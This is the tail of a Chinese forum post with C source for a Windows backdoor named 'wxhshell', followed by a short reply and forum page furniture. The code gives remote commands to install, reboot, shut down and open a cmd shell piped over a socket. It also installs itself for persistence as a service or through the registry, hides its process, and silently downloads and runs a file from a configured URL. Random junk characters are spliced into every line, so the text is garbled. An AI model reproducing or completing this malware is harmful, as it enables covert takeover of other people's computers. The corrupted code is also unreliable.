  else { E@mkm  
HT-PWk>2  
    switch(cmd[0]) { 8? F 2jv  
  _eh3qs:  
  // 帮助 !"%S#nrL$  
  case '?': { vlAy!:CV  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #@q1Ko!NZ  
    break; 1~L\s}|2d  
  } 5f{wJb2  
  // 安装 [x|)}P7%s  
  case 'i': { ~.H~XK w  
    if(Install()) *F..ZS'$[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7P c(<Ui+  
    else gtMw3D`FL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4`6< {  
    break; ExqM1&zpK  
    } dXDXRY.FMQ  
  // 卸载 6qf-Y!D5  
  case 'r': { =t HD 4I  
    if(Uninstall()) yH+c#w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }EP|Mb  
    else I<KCt2:X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ovSH}h!  
    break; @x*.5:[  
    } EFD?di)s  
  // 显示 wxhshell 所在路径 _ }^u-fJ/~  
  case 'p': { 3jS7 uU  
    char svExeFile[MAX_PATH]; &rcdr+'  
    strcpy(svExeFile,"\n\r"); <irpmRQr  
      strcat(svExeFile,ExeFile); _trpXkQp  
        send(wsh,svExeFile,strlen(svExeFile),0); "H@Fe  
    break; Eny!R@u7q  
    } z :? :  
  // 重启 {H'X)n$  
  case 'b': { 5DUi4 Cbgy  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); qNy-o\;XN  
    if(Boot(REBOOT)) 8,H~4Ce3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w7r'SCVh3+  
    else { X= SG  
    closesocket(wsh); 8M~u_`6  
    ExitThread(0); vU7&'ca  
    } EFeAr@nj  
    break; A^t"MYX@  
    } R7,p ukK  
  // 关机 UL[uh@4  
  case 'd': { `LqnEutzc  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \Me"'.F?  
    if(Boot(SHUTDOWN)) eA1'qww"'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q{[1fE"[K4  
    else { wzg i @i  
    closesocket(wsh); K` 2i  
    ExitThread(0); 16L"^EYq  
    } |MVV +.X  
    break; ig+k[`W  
    } 2G H)iUmc  
  // 获取shell ~PCTLP~zI  
  case 's': { 2nJYS2mT7  
    CmdShell(wsh); x~%\y  
    closesocket(wsh); u6f4yQ  
    ExitThread(0); A_aO }oBX  
    break; fG3wc l~  
  } PMQb\%iE"  
  // 退出 G%Y*q(VrEu  
  case 'x': { \_?yzgf  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'r6cVBb}  
    CloseIt(wsh); 6R L~iD;X  
    break; |I(%7K  
    } X"wF Qa  
  // 离开 $4sA nu]  
  case 'q': { 80dSQ"y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); tD865gi  
    closesocket(wsh); N=.}h\{0  
    WSACleanup(); >}mNi:6xq  
    exit(1); dWMccn;-m  
    break; 3Nc'3NPQ'  
        } e5QOB/e&  
  } ]Kof sU_{  
  } p1C_`f N,  
Q:kwQg:~  
  // 提示信息 5[1@`6j   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ixg\[5.Q+  
} n<=y"*  
  } x,}ez  
w' .'Yu6  
  return; y(V&z"wk[  
}  B$@1QG  
.vN)A *  
// shell模块句柄 uQO(?nCi  
int CmdShell(SOCKET sock) /@6E3lh S  
{ P>>f{3e.  
STARTUPINFO si; y|$vtD%c  
ZeroMemory(&si,sizeof(si)); m9 ^m  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; SlR7h$r'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {_rZRyr  
PROCESS_INFORMATION ProcessInfo; 'W}~)+zK  
char cmdline[]="cmd"; g9M')8a n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  b$PT_!d  
  return 0; C3]\$  
} }klE0<W|5\  
Pv^(Q ]  
// 自身启动模式 <yis  
int StartFromService(void) 4 `j,&=  
{ 6\%r6_.d  
typedef struct B>ms`|q=l  
{ xV"6d{+  
  DWORD ExitStatus; ?f(pQy@V  
  DWORD PebBaseAddress; ~JIywzcf8  
  DWORD AffinityMask; bXa %EMF  
  DWORD BasePriority; tq2-.]Y@U  
  ULONG UniqueProcessId; `\Uc4lRS  
  ULONG InheritedFromUniqueProcessId; Iq^~  
}   PROCESS_BASIC_INFORMATION; c(QG4.)m  
?ykVfO'  
PROCNTQSIP NtQueryInformationProcess; 2,rY\Nu_  
f+Pg1Q0zI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ZD$-V 3e`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; j0ci~6&b3_  
VaOpO8y`  
  HANDLE             hProcess; xgZV0!%  
  PROCESS_BASIC_INFORMATION pbi; R>Z,TQU  
+s#S{b  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 45]Ym{]  
  if(NULL == hInst ) return 0; 7f.4/x^  
!%SdTaC{T  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )6O\WB|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); nXx6L!HJ#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p ~,a=  
|#Yu.c*  
  if (!NtQueryInformationProcess) return 0; eD>-`'7<  
}S'I DHla  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Km|9Too  
  if(!hProcess) return 0; @9 n #vs  
0IoXDx  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `I]1l MJ)o  
hY\Eh.  
  CloseHandle(hProcess); Q `J,dzY  
L,s|gt v  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); QO1A976o  
if(hProcess==NULL) return 0; 6i*ArGA   
S3%.-)ib  
HMODULE hMod; ">0/>>Ry  
char procName[255]; d A_S"Zc  
unsigned long cbNeeded; eO|^Lu]+  
jhjW* F<u  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]# tGT0   
$Uv<LVd(  
  CloseHandle(hProcess); *7:u-}c!  
[TiT ff&LV  
if(strstr(procName,"services")) return 1; // 以服务启动 w>H%[\Qs  
/ K2.V@T  
  return 0; // 注册表启动 ;o~+2Fir  
} ~frPV8^DP  
`dG.L  
// 主模块 <>&e/  
int StartWxhshell(LPSTR lpCmdLine) J4Q)`Y\~  
{ T U"K#V&u  
  SOCKET wsl; ,d9%Ce.$2  
BOOL val=TRUE; 1C5kS[!  
  int port=0; qaCi)f!Dl  
  struct sockaddr_in door; rR),~ @]sL  
eR#gG^o8  
  if(wscfg.ws_autoins) Install(); ?3B t ;<^  
a<a&6 3  
port=atoi(lpCmdLine); O+{pF.P#V  
o{S}e!Vb  
if(port<=0) port=wscfg.ws_port; W<cW;mO  
tk3<sr"IQ  
  WSADATA data; Cu)%s  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; z[0LU]b<  
q/d5P  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    1pYmtr  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0`g}(}'L  
  door.sin_family = AF_INET; T@d_ t  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !}Woo$#ND  
  door.sin_port = htons(port);  *pS7/ Qe  
q N[\J7Pz9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zd6Qw-D7x  
closesocket(wsl); "tg\yem  
return 1; Nj3^"}V  
} s)o ,Fi  
k#IS ,NKE  
  if(listen(wsl,2) == INVALID_SOCKET) { ZF/J/;uI  
closesocket(wsl); (> +k3  
return 1; ' q=NTP  
} Pi"tQyw39$  
  Wxhshell(wsl); \@ WsF$  
  WSACleanup();  }]n>A  
\Z6gXO_  
return 0; `ykMh>*{  
C-:SQf  
} dEAAm=K,<  
2EqsfU* I  
// 以NT服务方式启动 =yhn8t7@]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <g/(wSl  
{ H8o%H=I%  
DWORD   status = 0; 8 /RfNGY  
  DWORD   specificError = 0xfffffff; E |GK3/  
#<WyId(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 5u u2 _B_L  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; cciAMQhA  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @3expC  
  serviceStatus.dwWin32ExitCode     = 0; !mErt2UJl  
  serviceStatus.dwServiceSpecificExitCode = 0; YjIED,eRv  
  serviceStatus.dwCheckPoint       = 0; qqz,~EhC  
  serviceStatus.dwWaitHint       = 0; `1[Sv"  
;f ;*Q>!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); p.TiTFu/  
  if (hServiceStatusHandle==0) return; xP5mL3j  
K#6`LL m  
status = GetLastError(); x>8}|ou  
  if (status!=NO_ERROR) Ei?9M^w  
{ ^]sMy7X0IK  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )kY _"= d  
    serviceStatus.dwCheckPoint       = 0; 23u1nU[0  
    serviceStatus.dwWaitHint       = 0; ffoo^1}1  
    serviceStatus.dwWin32ExitCode     = status; 4MF}FS2)  
    serviceStatus.dwServiceSpecificExitCode = specificError; Q 2SSJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); n[MIa]dK  
    return; jN'fm  
  } VATXsD  
asmW W8lz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; thZ@Br O#  
  serviceStatus.dwCheckPoint       = 0; d'x<F[`O  
  serviceStatus.dwWaitHint       = 0; C}8e<[} )  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Vf,~MG  
} !+|N<`  
C$..w80/1  
// 处理NT服务事件,比如:启动、停止 GHgEbiY:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Y9co?!J 5M  
{ q:~`7I  
switch(fdwControl) }96/: ;:k  
{ +{Vwz  
case SERVICE_CONTROL_STOP: sKB-7  
  serviceStatus.dwWin32ExitCode = 0; :9rhv{6Wp  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ubN"(F:!-S  
  serviceStatus.dwCheckPoint   = 0; s>M~g,xTU  
  serviceStatus.dwWaitHint     = 0; X-ki%jp3  
  { HBga'xJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Sfr\%Buv  
  } X?}GPA4 W  
  return; $v bAcWj  
case SERVICE_CONTROL_PAUSE: g%q?2Nv  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Qdx`c^4m  
  break; }2!5#/^~  
case SERVICE_CONTROL_CONTINUE: 3EW f|6RI  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; zhvk%Y:  
  break; TLL[F;uZ  
case SERVICE_CONTROL_INTERROGATE: L ugk`NUvF  
  break; Eztz ~oFo  
}; Q3'B$,3O^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M;TfD  
} 8yo6v3JqC  
#u2&8-Gh  
// 标准应用程序主函数 .jGsO0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) */Ry6Yu  
{ 3NxaOO`  
LOb'<R\p  
// 获取操作系统版本 U37?P7i's  
OsIsNt=GetOsVer(); M_.,c Vk  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }$k`[ivBx(  
HfeflGme*  
  // 从命令行安装 I.\f0I'.  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2}#wd J`  
feq6!k7  
  // 下载执行文件 vhquHy.qi#  
if(wscfg.ws_downexe) { Q"K>ML>0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) []N$;~R7  
  WinExec(wscfg.ws_filenam,SW_HIDE); /HJ(Wt q  
} 4ysdna\+  
I#hg(7|",  
if(!OsIsNt) { g;Sg 2  
// 如果时win9x,隐藏进程并且设置为注册表启动 )6R#k8'ERr  
HideProc(); QVRokI`BF  
StartWxhshell(lpCmdLine); D15u1A  
} _d=&9d#=\  
else ://# %SE  
  if(StartFromService()) \A\yuJ=  
  // 以服务方式启动 (R*jt,x  
  StartServiceCtrlDispatcher(DispatchTable); 'hi\98y  
else :iNAXy  
  // 普通方式启动 5iI3u 7Mn1  
  StartWxhshell(lpCmdLine); IOSoc 7+"  
$}nUK~$GSv  
return 0; =5=Vm[  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
欢迎提供真实交流,考虑发帖者的感受
认证码:
验证问题:
10+5=?,请输入中文答案:十五